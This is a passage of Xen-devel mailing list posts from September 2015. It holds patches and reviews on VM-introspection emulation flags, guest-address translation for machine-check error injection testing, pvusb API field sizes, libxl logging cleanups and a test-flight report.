>  if ( domid != DOMID_XEN ) {
>  max_gpa = xs_get_dom_mem(domid);
>  Lprintf("get domain %d max gpa is: 0x%lx", domid, max_gpa);
> @@ -570,7 +570,7 @@ int main(int argc, char *argv[])
>  haddr = (mfn << PAGE_SHIFT) | (gaddr & (PAGE_SIZE - 1));
>  if ( domid == DOMID_XEN )
>  Lprintf("Xen: mfn=0x%lx, haddr=0x%lx", mfn, haddr);
> -else 
> +else
>  Lprintf("Dom%d: gaddr=0x%lx, gpfn=0x%lx, mfn=0x%lx, haddr=0x%lx",
>  domid, gaddr, gpfn, mfn, haddr);
>  goto out;
> 

Amazon Development Center Germany GmbH
Krausenstr. 38
10117 Berlin
Geschaeftsfuehrer: Dr. Ralf Herbrich, Christian Schlaeger
Ust-ID: DE289237879
Eingetragen am Amtsgericht Charlottenburg HRB 149173 B


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [v2][PATCH] xen/vtd/iommu: permit group devices to passthrough in relaxed mode

[Wei Liu]

On Tue, Sep 15, 2015 at 09:17:07AM +0800, Chen, Tiejun wrote:
> >>But looks its not better, so any idea?
> >
> >Did you at least make an attempt to find other examples of where
> >we dynamically determine the log level to be used for a message?
> >I would assume that if you did, you'd have come to
> >
> > printk(XENLOG_GUEST "%s" VTDPREFIX
> 
> I didn't know this tip on Xen side and its really good.
> 
> >" It's %s to assign %04x:%02x:%02x.%u"
> >" with shared RMRR at %"PRIx64" for Dom%d.\n",
> >relaxed ? XENLOG_WARNING : XENLOG_ERROR,
> >relaxed ? "risky" : "disallowed",
> >seg, bus, PCI_SLOT(devfn), PCI_FUNC(devfn),
> >rmrr->base_address, d->domain_id);
> >
> >pretty naturally.
> >
> 
> But I noticed my original patch is already merged into staging. So
> 
> Wei,
> 
> Do you think if we need a small patch to improved this? Maybe you can squash
> that if necessary.

Feel free to send follow-up patch to improve logging message.

Wei.

> 
> Thanks
> Tiejun

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH 1/2] xen, libxc: Introduced XEN_DOMCTL_emulate_each_rep

[Razvan Cojocaru]

Previously, if vm_event emulation support was enabled, then REP
optimizations were disabled when emulating REP-compatible
instructions. This patch allows fine-tuning of this behaviour by
providing a dedicated libxc helper function.

Signed-off-by: Razvan Cojocaru 
---
 tools/libxc/include/xenctrl.h|   11 +++
 tools/libxc/xc_domain.c  |   18 ++
 xen/arch/x86/hvm/emulate.c   |2 +-
 xen/common/domctl.c  |5 +
 xen/include/asm-x86/hvm/domain.h |1 +
 xen/include/public/domctl.h  |8 
 6 files changed, 44 insertions(+), 1 deletion(-)

diff --git a/tools/libxc/include/xenctrl.h b/tools/libxc/include/xenctrl.h
index 3482544..4ece851 100644
--- a/tools/libxc/include/xenctrl.h
+++ b/tools/libxc/include/xenctrl.h
@@ -643,6 +643,17 @@ int xc_domain_node_getaffinity(xc_interface *xch,
xc_nodemap_t nodemap);
 
 /**
+ * This function enables / disables emulation for each REP for a
+ * REP-compatible instruction.
+ *
+ * @parm xch a handle to an open hypervisor interface.
+ * @parm domid the domain id one wants to get the node affinity of.
+ * @parm enable if 0 optimize when possible, else emulate each REP.
+ * @return 0 on success, -1 on failure.
+ */
+int xc_domain_emulate_each_rep(xc_interface *xch, uint32_t domid, int enable);
+
+/**
  * This function specifies the CPU affinity for a vcpu.
  *
  * There are two kinds of affinity. Soft affinity is on what CPUs a vcpu
diff --git a/tools/libxc/xc_domain.c b/tools/libxc/xc_domain.c
index e7278dd..19b2e46 100644
--- a/tools/libxc/xc_domain.c
+++ b/tools/libxc/xc_domain.c
@@ -2555,6 +2555,24 @@ int xc_domain_soft_reset(xc_interface *xch,
 domctl.domain = (domid_t)domid;
 return do_domctl(xch, );
 }
+
+int xc_domain_emulate_each_rep(xc_interface *xch, uint32_t domid, int enable)
+{
+int ret = -1;
+DECLARE_DOMCTL;
+
+domctl.cmd = XEN_DOMCTL_emulate_each_rep;
+domctl.domain = (domid_t)domid;
+domctl.u.emulate_each_rep.op = enable;
+
+ret = do_domctl(xch, );
+
+if ( ret == -ESRCH )
+errno = ENOENT;
+
+return ret;
+}
+
 /*
  * Local variables:
  * mode: C
diff --git a/xen/arch/x86/hvm/emulate.c b/xen/arch/x86/hvm/emulate.c
index 5934c72..649eb7f 100644
--- a/xen/arch/x86/hvm/emulate.c
+++ b/xen/arch/x86/hvm/emulate.c
@@ -514,7 +514,7 @@ static int hvmemul_virtual_to_linear(
  * being triggered for repeated writes to a whole page.
  */
 *reps = min_t(unsigned long, *reps,
-  unlikely(current->domain->arch.mem_access_emulate_enabled)
+  unlikely(current->domain->arch.hvm_domain.emulate_each_rep)
? 1 : 4096);
 
 reg = hvmemul_get_seg_reg(seg, hvmemul_ctxt);
diff --git a/xen/common/domctl.c b/xen/common/domctl.c
index 9e0fef5..214a22a 100644
--- a/xen/common/domctl.c
+++ b/xen/common/domctl.c
@@ -1180,6 +1180,11 @@ long do_domctl(XEN_GUEST_HANDLE_PARAM(xen_domctl_t) 
u_domctl)
 copyback = 1;
 break;
 
+case XEN_DOMCTL_emulate_each_rep:
+d->arch.hvm_domain.emulate_each_rep = !!op->u.emulate_each_rep.op;
+ret = 0;
+break;
+
 default:
 ret = arch_do_domctl(op, d, u_domctl);
 break;
diff --git a/xen/include/asm-x86/hvm/domain.h b/xen/include/asm-x86/hvm/domain.h
index 992d5d1..b8fbe5e 100644
--- a/xen/include/asm-x86/hvm/domain.h
+++ b/xen/include/asm-x86/hvm/domain.h
@@ -136,6 +136,7 @@ struct hvm_domain {
 bool_t mem_sharing_enabled;
 bool_t qemu_mapcache_invalidate;
 bool_t is_s3_suspended;
+bool_t emulate_each_rep;
 
 /*
  * TSC value that VCPUs use to calculate their tsc_offset value.
diff --git a/xen/include/public/domctl.h b/xen/include/public/domctl.h
index 794d4d5..efc42a8 100644
--- a/xen/include/public/domctl.h
+++ b/xen/include/public/domctl.h
@@ -1063,6 +1063,12 @@ struct xen_domctl_psr_cat_op {
 typedef struct xen_domctl_psr_cat_op xen_domctl_psr_cat_op_t;
 DEFINE_XEN_GUEST_HANDLE(xen_domctl_psr_cat_op_t);
 
+struct xen_domctl_emulate_each_rep {
+int32_t op;
+};
+typedef struct xen_domctl_emulate_each_rep xen_domctl_emulate_each_rep_t;
+DEFINE_XEN_GUEST_HANDLE(xen_domctl_emulate_each_rep_t);
+
 struct xen_domctl {
 uint32_t cmd;
 #define XEN_DOMCTL_createdomain   1
@@ -1140,6 +1146,7 @@ struct xen_domctl {
 #define XEN_DOMCTL_monitor_op77
 #define XEN_DOMCTL_psr_cat_op78
 #define XEN_DOMCTL_soft_reset79
+#define XEN_DOMCTL_emulate_each_rep  80
 #define XEN_DOMCTL_gdbsx_guestmemio1000
 #define XEN_DOMCTL_gdbsx_pausevcpu 1001
 #define XEN_DOMCTL_gdbsx_unpausevcpu   1002
@@ -1202,6 +1209,7 @@ struct xen_domctl {
 struct xen_domctl_psr_cmt_oppsr_cmt_op;
 struct xen_domctl_monitor_opmonitor_op;
 

[Xen-devel] [PATCH 2/2] xen: Introduce VM_EVENT_FLAG_SET_EIP

[Razvan Cojocaru]

A previous version of this patch dealing with support for skipping
the current instruction when a vm_event response requested it
computed the instruction length in the hypervisor, adding non-trivial
code dependencies. This patch allows a userspace vm_event client to
simply request that the guest's EIP is set to an arbitary value,
computed by the introspection application.

Signed-off-by: Razvan Cojocaru 
---
 xen/arch/x86/mm/p2m.c  |   25 -
 xen/include/asm-x86/vm_event.h |1 +
 xen/include/public/vm_event.h  |5 +
 3 files changed, 22 insertions(+), 9 deletions(-)

diff --git a/xen/arch/x86/mm/p2m.c b/xen/arch/x86/mm/p2m.c
index c4329d2..ef45b15 100644
--- a/xen/arch/x86/mm/p2m.c
+++ b/xen/arch/x86/mm/p2m.c
@@ -1596,6 +1596,8 @@ void p2m_mem_access_emulate_check(struct vcpu *v,
 
 if ( (rsp->flags & VM_EVENT_FLAG_SET_EMUL_READ_DATA) )
 v->arch.vm_event->emul_read_data = rsp->data.emul_read_data;
+else if ( (rsp->flags & VM_EVENT_FLAG_SET_EIP) )
+v->arch.vm_event->set_eip = rsp->data.regs.x86.rip;
 }
 }
 
@@ -1694,17 +1696,22 @@ bool_t p2m_mem_access_check(paddr_t gpa, unsigned long 
gla,
 
 if ( unlikely(v->arch.vm_event) && v->arch.vm_event->emulate_flags )
 {
-enum emul_kind kind = EMUL_KIND_NORMAL;
+if ( v->arch.vm_event->emulate_flags & VM_EVENT_FLAG_SET_EIP )
+guest_cpu_user_regs()->eip = v->arch.vm_event->set_eip;
+else
+{
+enum emul_kind kind = EMUL_KIND_NORMAL;
 
-if ( v->arch.vm_event->emulate_flags &
- VM_EVENT_FLAG_SET_EMUL_READ_DATA )
-kind = EMUL_KIND_SET_CONTEXT;
-else if ( v->arch.vm_event->emulate_flags &
-  VM_EVENT_FLAG_EMULATE_NOWRITE )
-kind = EMUL_KIND_NOWRITE;
+if ( v->arch.vm_event->emulate_flags &
+ VM_EVENT_FLAG_SET_EMUL_READ_DATA )
+kind = EMUL_KIND_SET_CONTEXT;
+else if ( v->arch.vm_event->emulate_flags &
+  VM_EVENT_FLAG_EMULATE_NOWRITE )
+kind = EMUL_KIND_NOWRITE;
 
-hvm_mem_access_emulate_one(kind, TRAP_invalid_op,
-   HVM_DELIVER_NO_ERROR_CODE);
+hvm_mem_access_emulate_one(kind, TRAP_invalid_op,
+   HVM_DELIVER_NO_ERROR_CODE);
+}
 
 v->arch.vm_event->emulate_flags = 0;
 return 1;
diff --git a/xen/include/asm-x86/vm_event.h b/xen/include/asm-x86/vm_event.h
index 2ff2cab..310fc5a 100644
--- a/xen/include/asm-x86/vm_event.h
+++ b/xen/include/asm-x86/vm_event.h
@@ -30,6 +30,7 @@ struct arch_vm_event {
 uint32_t emulate_flags;
 unsigned long gpa;
 unsigned long eip;
+unsigned long set_eip;
 struct vm_event_emul_read_data emul_read_data;
 struct monitor_write_data write_data;
 };
diff --git a/xen/include/public/vm_event.h b/xen/include/public/vm_event.h
index ff2f217..0109bdf 100644
--- a/xen/include/public/vm_event.h
+++ b/xen/include/public/vm_event.h
@@ -89,6 +89,11 @@
  * by the altp2m_idx response field if possible.
  */
 #define VM_EVENT_FLAG_ALTERNATE_P2M  (1 << 7)
+/*
+ * Move the guest's instruction pointer to data.regs.x86.rip from the vm_event
+ * response.
+ */
+#define VM_EVENT_FLAG_SET_EIP(1 << 8)
 
 /*
  * Reasons for the vm event request
-- 
1.7.9.5


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH 0/2] Introspection optimization helpers

[Razvan Cojocaru]

Hello,

This series adds two minor patches. The first one allows finer-grained
control over the emulation behaviour of REP instructions. Previously,
once vm_event-based emulation was enabled, no optimizations were allowed.
However, this has a performance impact on the monitored guest, so I've
added a new libxc function to enable / disable this at will at any point.

The second patch addresses an older issue: in my initial series a few
years back, there was a (longish) patch that computed the length of the
current instruction, and advanced the instruction pointer past it if
it was required by the vm_event reply. However, integrating that code
has not been trivial, and so the second patch in this series simply
allows a vm_event reply to say that the instruction pointer should be
set to whatever value it sends back to the hypervisor. This way, the
computation of the instruction length is left to the userspace
application.

[PATCH 1/2] xen, libxc: Introduced XEN_DOMCTL_emulate_each_rep
[PATCH 2/2] xen: Introduce VM_EVENT_FLAG_SET_EIP


Thanks,
Razvan

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH 2/4] tools/mceinject: Fix code style

[Ian Campbell]

On Tue, 2015-09-15 at 10:48 +0200, Egger, Christoph wrote:
> On 2015/09/15 10:29, Haozhong Zhang wrote:
> > Remove trailing spaces in xen-mceinj.c.
> > 
> > Signed-off-by: Haozhong Zhang 
> 
> Acked-by: Christoph Egger 

Acked-by: Ian Campbell 


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH 4/4] tools/xen-mceinj: Pass in GPA when injecting through MSR_MCI_ADDR

[Wei Liu]

On Tue, Sep 15, 2015 at 12:08:32PM +0200, Egger, Christoph wrote:
> On 2015/09/15 12:02, Wei Liu wrote:
> > I don't know this piece of code so my comments might be stupid.
> > 
> > On Tue, Sep 15, 2015 at 04:29:40PM +0800, Haozhong Zhang wrote:
> >> This patch removes the address translation in xen-mceinj which
> >> translates the guest physical address passed-in through the argument
> >> of '-p' to the host machine address.
> >>
> > 
> > Is the translation functionality broken or superseded by hardware
> > support? What is the reason for removing this piece of (working?) code?
> 
> Neither nor. The translation done in xen-mceinj.c doesn't deal with
> memory addresses above 4G. The fix is to let the hypervisor do the
> translation.
> 

Ah, I see. I missed patch 3.

Since this tool is distributed with HV so I don't think we chance of
breakage here.

The only concern is backward compatibility in parameter. But because it
is inside tools/tests I feel it's not a requirement to maintain backward
compatibility.

Christoph, since you're more familiar with this functionality could you
kindly have a look at this patch and possible give an ack if you're
happy with it?

Wei.

> Christoph
> 
> > 
> > (I haven't looked at the code)
> > 
> > Wei.
> > 
> 
> Amazon Development Center Germany GmbH
> Krausenstr. 38
> 10117 Berlin
> Geschaeftsfuehrer: Dr. Ralf Herbrich, Christian Schlaeger
> Ust-ID: DE289237879
> Eingetragen am Amtsgericht Charlottenburg HRB 149173 B

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH V6 3/7] libxl: add pvusb API

[Chun Yan Liu]

>>> On 9/11/2015 at 09:26 PM, in message <1441978018.3549.33.ca...@citrix.com>, 
>>> Ian
Campbell  wrote: 
> On Thu, 2015-09-10 at 23:42 -0600, Chun Yan Liu wrote: 
> >  
> > > Do these fields have any particular size requirements arising from e.g.  
> the  
> > > USB spec or from possible dom0 implementations?  
> > >   
> > > If they have a well defined fixed size from a USB spec then maybe we 
> > > could  
> > > use the appropriate fixed size types?  
> >  
> > Di> dn't see the size limitation. In Linux kernel code, busnum and devnum  
> (here 
> > 'hostbus, hostaddr') are both 'int' type. 
>  
> Is that a Linux-specific implementation detail or a fundamental property of 
> USB? We should be designing the interface around Linux implementation 
> details. It seems like something in the USB spec ought to define precisely 
> the number of bits in both a bus number and a device address within that 
> bus. 

Have a look at USB 2.0 Spec, it has some description on Device Address: a 
seven-bit
value representing the address of the debvice on USB. (up to 127 devices). So 
 int8 is appropriate.
No description to Bus Num.

-Chunyan
>  
> >  And idProduct and idVendor are 'u16'. 
>  
> That's a USB spec thing, I think, so int16 in the IDL seems appropriate. 
>  
> Ian. 
>  
>  



___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH 1/4] x86/mce: Fix code style

[Egger, Christoph]

On 2015/09/15 10:29, Haozhong Zhang wrote:
> Remove trailing spaces and fix indentations in mce.c and xen-mca.h.
> 
> Signed-off-by: Haozhong Zhang 

Acked-by: Christoph Egger 

> ---
>  xen/arch/x86/cpu/mcheck/mce.c | 10 +-
>  xen/include/public/arch-x86/xen-mca.h | 28 ++--
>  2 files changed, 19 insertions(+), 19 deletions(-)
> 
> diff --git a/xen/arch/x86/cpu/mcheck/mce.c b/xen/arch/x86/cpu/mcheck/mce.c
> index 7c2cacc..561257d 100644
> --- a/xen/arch/x86/cpu/mcheck/mce.c
> +++ b/xen/arch/x86/cpu/mcheck/mce.c
> @@ -105,7 +105,7 @@ void x86_mce_callback_register(x86_mce_callback_t cbfunc)
>  mc_callback_bank_extended = cbfunc;
>  }
>  
> -/* Machine check recoverable judgement callback handler
> +/* Machine check recoverable judgement callback handler
>   * It is used to judge whether an UC error is recoverable by software
>   */
>  static mce_recoverable_t mc_recoverable_scan = NULL;
> @@ -160,9 +160,9 @@ static void mcabank_clear(int banknum)
>  }
>  
>  /* Judging whether to Clear Machine Check error bank callback handler
> - * According to Intel latest MCA OS Recovery Writer's Guide,
> + * According to Intel latest MCA OS Recovery Writer's Guide,
>   * whether the error MCA bank needs to be cleared is decided by the 
> mca_source
> - * and MCi_status bit value.
> + * and MCi_status bit value.
>   */
>  static mce_need_clearbank_t mc_need_clearbank_scan = NULL;
>  
> @@ -535,7 +535,7 @@ void mcheck_cmn_handler(const struct cpu_user_regs *regs)
>  }
>  atomic_set(_error, 0);
>  }
> -mce_barrier_exit(_trap_bar);
> +mce_barrier_exit(_trap_bar);
>  
>  /* Clear flags after above fatal check */
>  mce_barrier_enter(_trap_bar);
> @@ -891,7 +891,7 @@ void x86_mcinfo_dump(struct mc_info *mi)
> "CPU%d: Machine Check Exception: %16"PRIx64"\n",
> mc_global->mc_coreid, mc_global->mc_gstatus);
>  } else if (mc_global->mc_flags & MC_FLAG_CMCI) {
> -printk(XENLOG_WARNING "CMCI occurred on CPU %d.\n",
> +printk(XENLOG_WARNING "CMCI occurred on CPU %d.\n",
> mc_global->mc_coreid);
>  } else if (mc_global->mc_flags & MC_FLAG_POLLED) {
>  printk(XENLOG_WARNING "POLLED occurred on CPU %d.\n",
> diff --git a/xen/include/public/arch-x86/xen-mca.h 
> b/xen/include/public/arch-x86/xen-mca.h
> index 04382ed..2422b76 100644
> --- a/xen/include/public/arch-x86/xen-mca.h
> +++ b/xen/include/public/arch-x86/xen-mca.h
> @@ -1,11 +1,11 @@
>  
> /**
>   * arch-x86/mca.h
> - *
> + *
>   * Contributed by Advanced Micro Devices, Inc.
>   * Author: Christoph Egger 
>   *
>   * Guest OS machine check interface to x86 Xen.
> - *
> + *
>   * Permission is hereby granted, free of charge, to any person obtaining a 
> copy
>   * of this software and associated documentation files (the "Software"), to
>   * deal in the Software without restriction, including without limitation the
> @@ -156,7 +156,7 @@ struct mcinfo_msr {
>  };
>  
>  /* contains mc information from other
> - * or additional mc MSRs */
> + * or additional mc MSRs */
>  struct mcinfo_extended {
>  struct mcinfo_common common;
>  
> @@ -193,10 +193,10 @@ struct mcinfo_extended {
>  /* L3 cache disable Action */
>  #define MC_ACTION_CACHE_SHRINK (0x1 << 2)
>  
> -/* Below interface used between XEN/DOM0 for passing XEN's recovery action
> - * information to DOM0.
> +/* Below interface used between XEN/DOM0 for passing XEN's recovery action
> + * information to DOM0.
>   * usage Senario: After offlining broken page, XEN might pass its page 
> offline
> - * recovery action result to DOM0. DOM0 will save the information in
> + * recovery action result to DOM0. DOM0 will save the information in
>   * non-volatile memory for further proactive actions, such as offlining the
>   * easy broken page earlier when doing next reboot.
>  */
> @@ -255,8 +255,8 @@ DEFINE_XEN_GUEST_HANDLE(mc_info_t);
>  #define MC_CAPS_AMD_ECX  6   /* cpuid level 0x8001 (%ecx) */
>  
>  struct mcinfo_logical_cpu {
> -uint32_t mc_cpunr;
> -uint32_t mc_chipid;
> +uint32_t mc_cpunr;
> +uint32_t mc_chipid;
>  uint16_t mc_coreid;
>  uint16_t mc_threadid;
>  uint32_t mc_apicid;
> @@ -281,7 +281,7 @@ typedef struct mcinfo_logical_cpu xen_mc_logical_cpu_t;
>  DEFINE_XEN_GUEST_HANDLE(xen_mc_logical_cpu_t);
>  
>  
> -/*
> +/*
>   * OS's should use these instead of writing their own lookup function
>   * each with its own bugs and drawbacks.
>   * We use macros instead of static inline functions to allow guests
> @@ -389,11 +389,11 @@ struct xen_mc_physcpuinfo {
>  #define MC_MSRINJ_MAXMSRS   8
>  struct xen_mc_msrinject {
> /* IN */
> - uint32_t mcinj_cpunr;   /* target processor id */
> - uint32_t mcinj_flags;   /* see MC_MSRINJ_F_* below 

[Xen-devel] [distros-debian-squeeze test] 37928: all pass

[Platform Team regression test user]

flight 37928 distros-debian-squeeze real [real]
http://osstest.xs.citrite.net/~osstest/testlogs/logs/37928/

Perfect :-)
All tests in this flight passed
baseline version:
 flight   37917

jobs:
 build-amd64  pass
 build-armhf  pass
 build-i386   pass
 build-amd64-pvopspass
 build-armhf-pvopspass
 build-i386-pvops pass
 test-amd64-amd64-amd64-squeeze-netboot-pygrubpass
 test-amd64-i386-amd64-squeeze-netboot-pygrub pass
 test-amd64-amd64-i386-squeeze-netboot-pygrub pass
 test-amd64-i386-i386-squeeze-netboot-pygrub  pass



sg-report-flight on osstest.xs.citrite.net
logs: /home/osstest/logs
images: /home/osstest/images

Logs, config files, etc. are available at
http://osstest.xs.citrite.net/~osstest/testlogs/logs

Test harness code can be found at
http://xenbits.xensource.com/gitweb?p=osstest.git;a=summary


Push not applicable.


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH] xl: tighten parsing of "irq" and "iomem" list elements

[Dario Faggioli]

On Mon, 2015-09-14 at 07:53 -0600, Jan Beulich wrote:
> While "ioport" list element parsing already validates that the entire
> input string got consumed, its two siblings so far didn't.
> 
> Signed-off-by: Jan Beulich 
> 
Reviewed-by: Dario Faggioli 

Regards,
Dario
-- 
<> (Raistlin Majere)
-
Dario Faggioli, Ph.D, http://about.me/dario.faggioli
Senior Software Engineer, Citrix Systems R Ltd., Cambridge (UK)


signature.asc
Description: This is a digitally signed message part
___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH 3/4] x86/mce: Translate passed-in GPA to host machine address

[Egger, Christoph]

On 2015/09/15 10:29, Haozhong Zhang wrote:
> This patch adds a new flag MC_MSRINJ_F_GPADDR to
> xen_mc_msrinject.mcinj_flags, and makes do_mca() to translate the
> guest physical address passed-in through
> xen_mc_msrinject.mcinj_msr[i].value to the host machine address if
> this flag is present.
> 
> Signed-off-by: Haozhong Zhang 

Comments inline.

> ---
>  xen/arch/x86/cpu/mcheck/mce.c | 33 +
>  xen/include/public/arch-x86/xen-mca.h |  5 -
>  2 files changed, 37 insertions(+), 1 deletion(-)
> 
> diff --git a/xen/arch/x86/cpu/mcheck/mce.c b/xen/arch/x86/cpu/mcheck/mce.c
> index 561257d..343d9d2 100644
> --- a/xen/arch/x86/cpu/mcheck/mce.c
> +++ b/xen/arch/x86/cpu/mcheck/mce.c
> @@ -21,6 +21,7 @@
>  #include 
>  #include 
>  #include 
> +#include 
>  
>  #include "mce.h"
>  #include "barrier.h"
> @@ -1422,6 +1423,38 @@ long do_mca(XEN_GUEST_HANDLE_PARAM(xen_mc_t) u_xen_mc)
>  if (mc_msrinject->mcinj_count == 0)
>  return 0;
>  
> +if (mc_msrinject->mcinj_flags & MC_MSRINJ_F_GPADDR) {
> +struct domain *d;
> +struct mcinfo_msr *msr;
> +int i;
> +uint64_t gaddr, gpfn, mfn, haddr;
> +p2m_type_t t;
> +
> +d = get_domain_by_id(mc_msrinject->mcinj_domid);
> +if (d == NULL)
> +return x86_mcerr("do_mca inject: illegal domain id", 
> -EINVAL);
> +
> +for (i = 0, msr = _msrinject->mcinj_msr[0];
> + i < mc_msrinject->mcinj_count; i++, msr++) {
> +gaddr = msr->value;
> +gpfn = gaddr >> PAGE_SHIFT;
> +mfn = mfn_x(get_gfn(d, gpfn, ));
> +
> +if (mfn == INVALID_MFN) {

   put_gfn(d, gpfn);

> +put_domain(d);
> +return x86_mcerr("do_mca inject: illegal MSR value",
> + -EINVAL);
> +}
> +
> +haddr = (mfn << PAGE_SHIFT) | (gaddr & (PAGE_SIZE - 1));
> +msr->value = haddr;
> +
> +put_gfn(d, gpfn);
> +}
> +
> +put_domain(d);
> +}
> +
>  if (!x86_mc_msrinject_verify(mc_msrinject))
>  return x86_mcerr("do_mca inject: illegal MSR", -EINVAL);
>  
> diff --git a/xen/include/public/arch-x86/xen-mca.h 
> b/xen/include/public/arch-x86/xen-mca.h
> index 2422b76..33c1a84 100644
> --- a/xen/include/public/arch-x86/xen-mca.h
> +++ b/xen/include/public/arch-x86/xen-mca.h
> @@ -392,12 +392,15 @@ struct xen_mc_msrinject {
>  uint32_t mcinj_cpunr;   /* target processor id */
>  uint32_t mcinj_flags;   /* see MC_MSRINJ_F_* below */
>  uint32_t mcinj_count;   /* 0 .. count-1 in array are valid */
> -uint32_t _pad0;
> +domid_t  mcinj_domid;   /* valid only if MC_MSRINJ_F_GPADDR 
> presents
> +   in mcinj_flags */

wording. I prefer "s/presents/is present/"

> +uint16_t _pad0;
>  struct mcinfo_msr mcinj_msr[MC_MSRINJ_MAXMSRS];
>  };
>  
>  /* Flags for mcinj_flags above; bits 16-31 are reserved */
>  #define MC_MSRINJ_F_INTERPOSE   0x1
> +#define MC_MSRINJ_F_GPADDR  0x2
>  
>  #define XEN_MC_mceinject5
>  struct xen_mc_mceinject {
> 

Amazon Development Center Germany GmbH
Krausenstr. 38
10117 Berlin
Geschaeftsfuehrer: Dr. Ralf Herbrich, Christian Schlaeger
Ust-ID: DE289237879
Eingetragen am Amtsgericht Charlottenburg HRB 149173 B


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH 0/4] libxl: use LOG() macro where appropriate

[Wei Liu]

There are mixed usage of different logging macros. Ideally we only use one
style to avoid confusion.

Wei Liu (4):
  libxl: convert to use LOG() macro
  libxl: fix overly lines and delete extraneous quotes
  libxl: map LIBXL__LOG_VERBOSE to XTL_VERBOSE
  libxl: fix places missed by spatch

 tools/libxl/libxl.c  | 408 +++
 tools/libxl/libxl_create.c   |  40 ++---
 tools/libxl/libxl_dm.c   |  47 ++---
 tools/libxl/libxl_dom.c  |  17 +-
 tools/libxl/libxl_event.c|  48 +++--
 tools/libxl/libxl_exec.c |   5 +-
 tools/libxl/libxl_internal.c |  17 +-
 tools/libxl/libxl_internal.h |   1 +
 tools/libxl/libxl_pci.c  | 193 ++--
 tools/libxl/libxl_utils.c|  21 ++-
 tools/libxl/libxl_x86.c  |  26 ++-
 tools/libxl/libxl_xshelp.c   |   6 +-
 12 files changed, 411 insertions(+), 418 deletions(-)

-- 
2.1.4


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH 2/4] libxl: fix overly lines and delete extraneous quotes

[Wei Liu]

Signed-off-by: Wei Liu 
---
 tools/libxl/libxl.c   | 21 +
 tools/libxl/libxl_utils.c |  8 ++--
 2 files changed, 19 insertions(+), 10 deletions(-)

diff --git a/tools/libxl/libxl.c b/tools/libxl/libxl.c
index ce8965d..9b2047f 100644
--- a/tools/libxl/libxl.c
+++ b/tools/libxl/libxl.c
@@ -420,14 +420,14 @@ int libxl__domain_rename(libxl__gc *gc, uint32_t domid,
 if (rc == ERROR_INVAL) {
 /* no such domain, good */
 } else if (rc != 0) {
-LOG(ERROR, "unexpected error""checking for existing domain");
+LOG(ERROR, "unexpected error checking for existing domain");
 goto x_rc;
 } else if (domid_e == domid) {
 /* domain already has this name, ok (but we do still
  * need the rest of the code as we may need to check
  * old_name, for example). */
 } else {
-LOG(ERROR, "domain with name \"%s\""" already exists.", new_name);
+LOG(ERROR, "domain with name \"%s\" already exists.", new_name);
 rc = ERROR_INVAL;
 goto x_rc;
 }
@@ -437,14 +437,15 @@ int libxl__domain_rename(libxl__gc *gc, uint32_t domid,
 got_old_name = xs_read(ctx->xsh, trans, name_path, _old_len);
 if (!got_old_name) {
 LOGEV(ERROR, errno,
-  "check old name"" for domain %"PRIu32" allegedly named `%s'",
+  "check old name for domain %"PRIu32" allegedly named `%s'",
   domid,
   old_name);
 goto x_fail;
 }
 if (strcmp(old_name, got_old_name)) {
 LOG(ERROR,
-"domain %"PRIu32" allegedly named ""`%s' is actually named 
`%s' - racing ?",
+"domain %"PRIu32" allegedly named "
+"`%s' is actually named `%s' - racing ?",
 domid,
 old_name,
 got_old_name);
@@ -456,7 +457,8 @@ int libxl__domain_rename(libxl__gc *gc, uint32_t domid,
 if (!xs_write(ctx->xsh, trans, name_path,
   new_name, strlen(new_name))) {
 LOG(ERROR,
-"failed to write new name `%s'"" for domain %"PRIu32" previously 
named `%s'",
+"failed to write new name `%s'"
+" for domain %"PRIu32" previously named `%s'",
 new_name,
 domid,
 old_name);
@@ -489,14 +491,16 @@ int libxl__domain_rename(libxl__gc *gc, uint32_t domid,
 trans = our_trans = 0;
 if (errno != EAGAIN) {
 LOG(ERROR,
-"failed to commit new name `%s'"" for domain %"PRIu32" 
previously named `%s'",
+"failed to commit new name `%s'"
+" for domain %"PRIu32" previously named `%s'",
 new_name,
 domid,
 old_name);
 goto x_fail;
 }
 LOG(DEBUG,
-"need to retry rename transaction"" for domain %"PRIu32" 
(name_path=\"%s\", new_name=\"%s\")",
+"need to retry rename transaction"
+" for domain %"PRIu32" (name_path=\"%s\", new_name=\"%s\")",
 domid,
 name_path,
 new_name);
@@ -4784,7 +4788,8 @@ retry_transaction:
 new_target_memkb = target_memkb - videoram;
 if (new_target_memkb > memorykb) {
 LOG(ERROR,
-"memory_dynamic_max must be less than or equal to"" 
memory_static_max\n");
+"memory_dynamic_max must be less than or equal to"
+" memory_static_max\n");
 abort_transaction = 1;
 goto out;
 }
diff --git a/tools/libxl/libxl_utils.c b/tools/libxl/libxl_utils.c
index e5385fb..e84bdf5 100644
--- a/tools/libxl/libxl_utils.c
+++ b/tools/libxl/libxl_utils.c
@@ -409,13 +409,17 @@ int libxl_read_file_contents(libxl_ctx *ctx, const char 
*filename,
   if (got == -1) {\
   if (errno == EINTR) continue;   \
   if (!ctx) { GC_FREE; return errno; }\
-  LOGE(ERROR, "failed to "#rw" %s%s%s", what ? what : "", what ? " 
from " : "", source);   \
+  LOGE(ERROR, "failed to "#rw" %s%s%s",   \
+   what ? what : "", what ? " from " : "", source);   \
   GC_FREE;\
   return errno;   \
   }   \
   if (got == 0) { \
   if (!ctx) { GC_FREE; return  EPROTO; }  \
-  LOG(ERROR, zero_is_eof ? "file/stream truncated reading %s%s%s" 
